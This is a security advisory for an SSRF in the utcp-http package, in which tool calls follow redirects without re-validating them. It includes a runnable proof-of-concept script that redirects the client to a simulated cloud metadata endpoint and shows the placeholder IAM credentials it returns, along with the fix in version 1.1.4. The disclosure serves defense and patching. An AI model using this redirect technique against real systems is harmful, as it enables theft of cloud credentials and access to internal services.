GHSA-9qhg-99ww-9mqc: SSRF

Published Aug 25, 2026
·
Updated

Summary

HttpCommunicationProtocol.calltool validates only the pre-redirect tool URL, then issues the request with redirects enabled and never re-checks where it lands. A tool whose endpoint is an attacker-controlled public URL can therefore 302-redirect the UTCP client into an internal service including the cloud metadata endpoint and the response body is returned to the tool caller. This is a working SSRF + internal-data-exfiltration primitive.

This is the redirect invariant of the SSRF class fixed in GHSA-39j6-4867-gg4w; that fix added an invocation-time URL check but left the redirect hop unguarded. This vector bypasses the GHSA-39j6-4867-gg4w mitigation via unvalidated redirects.

Root cause

1. The resolved URL is validated once, before the request:

https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communicationprotocols/http/src/utcphttp/httpcommunicationprotocol.py#L281

2. The request is then made with aiohttp's default allowredirects=True and no per-hop revalidation, so the redirect target bypasses the check entirely:

https://github.com/universal-tool-calling-protocol/python-utcp/blob/4ed0a48b84a452338bd3e996efb0d169e8d75ac2/plugins/communicationprotocols/http/src/utcphttp/httpcommunicationprotocol.py#L313-L332

The validator (security.py) blocks plain-HTTP to non-loopback hosts, exactly the metadata/internal case, but only the first hop ever reaches it.

Reachability

Triggered whenever the host registers a tool/manual whose endpoint URL is attacker-influenced (e.g. a manual or OpenAPI spec discovered from a runtime-supplied URL: a core UTCP usage pattern) and that tool is then called. The initial URL only has to pass the validator (any https://, or a benign host the attacker controls); the attacker's server supplies the redirect. No special configuration is required.

Preconditions

- The attacker controls the server the tool points at - either the registered tool/manual endpoint URL is attacker-influenced (e.g. a manual/OpenAPI spec discovered from a runtime-supplied URL), or a legitimate endpoint the tool already points at is attacker-controlled or compromised. - The initial tool URL passes ensuresecureurl — trivially met by any https:// URL or a benign attacker-owned host; the attacker only needs to return a 3xx Location. - The tool is invoked (calltool) after registration. - An internal HTTP service is reachable from the UTCP process and returns useful data on an unauthenticated GET (cloud metadata, internal admin panel, unauth datastore, link-local endpoint). - The tool's return value is surfaced back to the caller/agent (the usual agentic flow), giving the attacker the response body. - For the IAM-credential outcome specifically: the host runs on a cloud instance with IMDSv1 enabled. IMDSv2-only hosts block this exact result (it needs a PUT for a session token), but other internal-SSRF targets remain reachable.

PoC

The validator rejects the internal targets directly, but the redirect from an allowed tool URL reaches one anyway and returns its body. Runs the real released HttpCommunicationProtocol; the "metadata" service is bound on a non-loopback LAN IP, which the validator rejects exactly like 169.254.169.254.

Run: pip install utcp-http==1.1.3 aiohttp && python poc.py

python import asyncio, socket from aiohttp import web from utcphttp.httpcommunicationprotocol import HttpCommunicationProtocol from utcphttp.httpcalltemplate import HttpCallTemplate

MD = "/latest/meta-data/iam/security-credentials/app-role" STOLEN = {"Code": "Success", "AccessKeyId": "ASIAEXAMPLESTOLENKEY", "SecretAccessKey": "wJalr/EXAMPLE/STOLEN/SECRET", "Token": "Fwo...session"}

def lanip(): s = socket.socket(socket.AFINET, socket.SOCKDGRAM) try: s.connect(("8.8.8.8", 80)); return s.getsockname()[0] finally: s.close()

async def main(): internal = lanip() meta = web.Application(); meta.router.addget(MD, lambda r: web.jsonresponse(STOLEN)) mr = web.AppRunner(meta, accesslog=None); await mr.setup() ms = web.TCPSite(mr, "0.0.0.0", 0); await ms.start() internalurl = f"http://{internal}:{ms.server.sockets[0].getsockname()[1]}{MD}"

atk = web.Application() atk.router.addget("/tool", lambda r: web.Response(status=302, headers={"Location": internalurl})) ar = web.AppRunner(atk, accesslog=None); await ar.setup() as = web.TCPSite(ar, "127.0.0.1", 0); await as.start() toolurl = f"http://127.0.0.1:{as.server.sockets[0].getsockname()[1]}/tool"

proto = HttpCommunicationProtocol() ct = HttpCallTemplate(name="lookup", url=toolurl, httpmethod="GET") # passes the validator result = await proto.calltool(None, "lookup", {}, ct) # follows 302 -> internal print("caller received:", result) await ar.cleanup(); await mr.cleanup()

asyncio.run(main())

Output:

caller received: {'Code': 'Success', 'AccessKeyId': 'ASIAEXAMPLESTOLENKEY', 'SecretAccessKey': 'wJalr/EXAMPLE/STOLEN/SECRET', 'Token': 'Fwo...session'}

Impact

Blind-to-readable SSRF from the UTCP host's network position, with the internal response handed back to the caller. On a cloud instance with IMDSv1 this yields the instance role's IAM credentials (as shown), i.e. infrastructure takeover; more generally it reaches internal HTTP services (admin panels, unauth datastores, link-local endpoints) that the validator is specifically meant to block.

Possible fix

Disable automatic redirects for tool invocation (allowredirects=False) and, if redirects must be supported, re-run ensuresecureurl on every hop's Location before following it. Resolving the host and rejecting private/link-local/loopback IPs (not just plain-HTTP non-loopback) closes the residual https://-to-internal case as well.

Patched

Fixed in utcp-http 1.1.4. security.py now ships saferequestwithredirects, a per-hop revalidator that disables aiohttp's auto-follow, runs ensuresecureurl on every Location header before issuing the next hop, caps the chain at 5 hops, and drops the body on 303 per RFC 7231. The HTTP, SSE, and streamable-HTTP plugins use it for both registermanual and calltool; SSE + streamable handshakes additionally reject any 3xx outright because the streaming response has to stay open for the lifetime of the call. The OAuth2 token-fetch path uses the same helper, closing the redirect-on-token-URL variant.

The sister TypeScript implementation @utcp/http is fixed the same way in 1.1.4.

Upgrade to utcp-http >= 1.1.4. No workaround in earlier versions short of disabling all attacker-influenced manuals.

Affected Software

1 affected componentFixes available
pip/utcp-http<=1.1.3
1.1.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/utcp-http to a version that resolves this vulnerability.

    Fixed in 1.1.4
  2. Upgrade

    Upgrade utcp-http to a version that resolves this vulnerability.

    Fixed in 1.1.4
  3. Configuration

    Disable automatic redirects for tool invocation (set allow_redirects=False).

    utcp-http HttpCommunicationProtocol.call_tool allow_redirects = False
  4. Configuration

    If redirects must be supported, re-run ensure_secure_url (validator) on every hop's Location before following it (per-hop revalidation via safe_request_with_redirects).

    utcp-http safe_request_with_redirects / redirect handling per-hop redirect validation (Location re-check) = enabled

Event History

Aug 25, 2026
Advisory Published
via GitHub·03:48 PM
Data Sourced
via GitHub·03:48 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Are deployments using the default HTTP client behavior affected?

Yes. The request uses aiohttp's default allow_redirects=True behavior, and redirect destinations are not revalidated after the initial URL check.

2

What does an attacker need to control to exploit this?

The attacker needs a tool endpoint that resolves to an attacker-controlled public URL and can respond with a redirect. The initial public URL passes validation, while the redirect can send the UTCP client to an internal service.

3

What is exposed if exploitation succeeds?

The client can be redirected to internal services, including a cloud metadata endpoint. The response body from that internal request is returned to the tool caller, enabling internal-data exfiltration.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203